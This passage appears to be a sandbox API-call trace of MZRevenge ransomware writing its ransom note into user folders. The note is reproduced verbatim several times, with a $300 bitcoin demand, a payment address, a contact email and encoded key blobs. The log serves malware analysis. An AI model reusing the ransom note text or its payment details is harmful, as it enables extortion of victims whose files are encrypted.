}============================\r\n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\r\n=================================================================================\r\n", cchWideChar=5981, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5981 [0217.748] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="* What happened to my files?\r\nYour important files are encrypted.\r\nMany of your documents, photos, videos, databases, and other files are no longer\r\naccessible because they are encrypted. Maybe you're busy finding a way to\r\nrecover your files, but do not waste your time. Nobody can recover your files without\r\nour decryption service. However, if you want to use the programs of data recovery companies,\r\nplease do not work on your original files, but make copies of them.\r\nCorruption of the actual files can cause irreversible damage to your data.\r\n\r\n* Can I Recover My Files?\r\nSure. We guarantee that you can recover all your files safely and easily.\r\nBut for this you need to send $300 worth bitcoins to our address.\r\nEven if you give money, Do not believe the people around you who\r\nsay they will not give your files, I Have Enough Reference To Give You Confidence.\r\nI don't know about you, so there is no point in having bad feelings towards you,\r\ndoing evil to you, my goal is just to earn an income from this business.\r\n\r\n* What about the guarantees?\r\nThis is just a job. We never care about you and your deals.\r\nIf we do not fulfill our work and obligations - no one will cooperate with us.\r\nIf you do not believe us, tell us any 1 or 2 files with SIMPLE extensions\r\n(jpg, xls, doc, etc ... not databases!) And low size (max 1 mb)\r\n1 or 2 file and following special public and private mzrevenge keys produced for you send us\r\nwe will decrypt these files and send it back to you. This is our guarantee.\r\n\r\n* How to contact with you?\r\nYou can write us to our mailbox: mzrdecryptorbuy@firemail.cc\r\nDon't forget, check your \"Spam\" or \"Junk\" folder it you can't get more than 6 hours of answer.\r\n\r\n* How will the decryption process proceed after payment?\r\nAfter payment, we will send you our special decoder program by mail, just open it,\r\nthen it will automatically decrypt all your files. but you need to pay for it and contact us.\r\n\r\n* So what is Bitcoin and how to get it?\r\nThe easiest way to buy bitcoins is LocalBitcoins site.\r\nYou have to register, click 'Buy bitcoins', and select the seller by payment method and price.\r\nhttps://localbitcoins.com/buy_bitcoins\r\nAlso you can find other places to buy Bitcoins and beginners guide here:\r\nhttp://www.coindesk.com/information/how-can-i-buy-bitcoins/\r\n\r\nIf you are ready to pay the money we want,\r\nBitcoin address to which you will send the payment: 3HYoqfBS1ZceA2AvmdEucbnEHp74nu9cjd\r\n\r\n\r\nThese are public and private MZREVENGE decryption keys produced for you.\r\nIf these keys are damaged, nobody can recovery your files.\r\n\r\n============================{ PUBLIC MZREVENGE KEY }=============================\r\nMZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=\r\n=================================================================================\r\n\r\n============================{ PRİVATE MZREVENGE KEY }============================\r\n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\r\n=================================================================================\r\n", cchWideChar=5981, lpMultiByteStr=0x24a2f48, cbMultiByte=5981, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="* What happened to my files?\r\nYour important files are encrypted.\r\nMany of your documents, photos, videos, databases, and other files are no longer\r\naccessible because they are encrypted. Maybe you're busy finding a way to\r\nrecover your files, but do not waste your time. Nobody can recover your files without\r\nour decryption service. However, if you want to use the programs of data recovery companies,\r\nplease do not work on your original files, but make copies of them.\r\nCorruption of the actual files can cause irreversible damage to your data.\r\n\r\n* Can I Recover My Files?\r\nSure. We guarantee that you can recover all your files safely and easily.\r\nBut for this you need to send $300 worth bitcoins to our address.\r\nEven if you give money, Do not believe the people around you who\r\nsay they will not give your files, I Have Enough Reference To Give You Confidence.\r\nI don't know about you, so there is no point in having bad feelings towards you,\r\ndoing evil to you, my goal is just to earn an income from this business.\r\n\r\n* What about the guarantees?\r\nThis is just a job. We never care about you and your deals.\r\nIf we do not fulfill our work and obligations - no one will cooperate with us.\r\nIf you do not believe us, tell us any 1 or 2 files with SIMPLE extensions\r\n(jpg, xls, doc, etc ... not databases!) And low size (max 1 mb)\r\n1 or 2 file and following special public and private mzrevenge keys produced for you send us\r\nwe will decrypt these files and send it back to you. This is our guarantee.\r\n\r\n* How to contact with you?\r\nYou can write us to our mailbox: mzrdecryptorbuy@firemail.cc\r\nDon't forget, check your \"Spam\" or \"Junk\" folder it you can't get more than 6 hours of answer.\r\n\r\n* How will the decryption process proceed after payment?\r\nAfter payment, we will send you our special decoder program by mail, just open it,\r\nthen it will automatically decrypt all your files. but you need to pay for it and contact us.\r\n\r\n* So what is Bitcoin and how to get it?\r\nThe easiest way to buy bitcoins is LocalBitcoins site.\r\nYou have to register, click 'Buy bitcoins', and select the seller by payment method and price.\r\nhttps://localbitcoins.com/buy_bitcoins\r\nAlso you can find other places to buy Bitcoins and beginners guide here:\r\nhttp://www.coindesk.com/information/how-can-i-buy-bitcoins/\r\n\r\nIf you are ready to pay the money we want,\r\nBitcoin address to which you will send the payment: 3HYoqfBS1ZceA2AvmdEucbnEHp74nu9cjd\r\n\r\n\r\nThese are public and private MZREVENGE decryption keys produced for you.\r\nIf these keys are damaged, nobody can recovery your files.\r\n\r\n============================{ PUBLIC MZREVENGE KEY }=============================\r\nMZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=\r\n=================================================================================\r\n\r\n============================{ PRIVATE MZREVENGE KEY }============================\r\n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\r\n=================================================================================\r\n", lpUsedDefaultChar=0x0) returned 5981 [0217.748] WriteFile (in: hFile=0x32c, lpBuffer=0x24a2f48*, nNumberOfBytesToWrite=0x175d, lpNumberOfBytesWritten=0x19fd14, lpOverlapped=0x0 | out: lpBuffer=0x24a2f48*, lpNumberOfBytesWritten=0x19fd14*=0x175d, lpOverlapped=0x0) returned 1 [0217.750] CloseHandle (hObject=0x32c) returned 1 [0217.750] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x19fba4, csidl=39, fCreate=0 | out: pszPath="C:\\Users\\FD1HVy\\Pictures") returned 1 [0217.750] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures" (normalized: "c:\\users\\fd1hvy\\pictures")) returned 0x11 [0217.750] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x19fba4, csidl=39, fCreate=0 | out: pszPath="C:\\Users\\FD1HVy\\Pictures") returned 1 [0217.750] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\How Do I Recover My Files (Readme).txt" (normalized: "c:\\users\\fd1hvy\\pictures\\how do i recover my files (readme).txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x32c [0217.752] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="* What happened to my files?\r\nYour important files are encrypted.\r\nMany of your documents, photos, videos, databases, and other files are no longer\r\naccessible because they are encrypted. Maybe you're busy finding a way to\r\nrecover your files, but do not waste your time. Nobody can recover your files without\r\nour decryption service. However, if you want to use the programs of data recovery companies,\r\nplease do not work on your original files, but make copies of them.\r\nCorruption of the actual files can cause irreversible damage to your data.\r\n\r\n* Can I Recover My Files?\r\nSure. We guarantee that you can recover all your files safely and easily.\r\nBut for this you need to send $300 worth bitcoins to our address.\r\nEven if you give money, Do not believe the people around you who\r\nsay they will not give your files, I Have Enough Reference To Give You Confidence.\r\nI don't know about you, so there is no point in having bad feelings towards you,\r\ndoing evil to you, my goal is just to earn an income from this business.\r\n\r\n* What about the guarantees?\r\nThis is just a job. We never care about you and your deals.\r\nIf we do not fulfill our work and obligations - no one will cooperate with us.\r\nIf you do not believe us, tell us any 1 or 2 files with SIMPLE extensions\r\n(jpg, xls, doc, etc ... not databases!) And low size (max 1 mb)\r\n1 or 2 file and following special public and private mzrevenge keys produced for you send us\r\nwe will decrypt these files and send it back to you. This is our guarantee.\r\n\r\n* How to contact with you?\r\nYou can write us to our mailbox: mzrdecryptorbuy@firemail.cc\r\nDon't forget, check your \"Spam\" or \"Junk\" folder it you can't get more than 6 hours of answer.\r\n\r\n* How will the decryption process proceed after payment?\r\nAfter payment, we will send you our special decoder program by mail, just open it,\r\nthen it will automatically decrypt all your files. but you need to pay for it and contact us.\r\n\r\n* So what is Bitcoin and how to get it?\r\nThe easiest way to buy bitcoins is LocalBitcoins site.\r\nYou have to register, click 'Buy bitcoins', and select the seller by payment method and price.\r\nhttps://localbitcoins.com/buy_bitcoins\r\nAlso you can find other places to buy Bitcoins and beginners guide here:\r\nhttp://www.coindesk.com/information/how-can-i-buy-bitcoins/\r\n\r\nIf you are ready to pay the money we want,\r\nBitcoin address to which you will send the payment: 3HYoqfBS1ZceA2AvmdEucbnEHp74nu9cjd\r\n\r\n\r\nThese are public and private MZREVENGE decryption keys produced for you.\r\nIf these keys are damaged, nobody can recovery your files.\r\n\r\n============================{ PUBLIC MZREVENGE KEY }=============================\r\nMZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=\r\n=================================================================================\r\n\r\n============================{ PRİVATE MZREVENGE KEY }============================\r\nMZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bD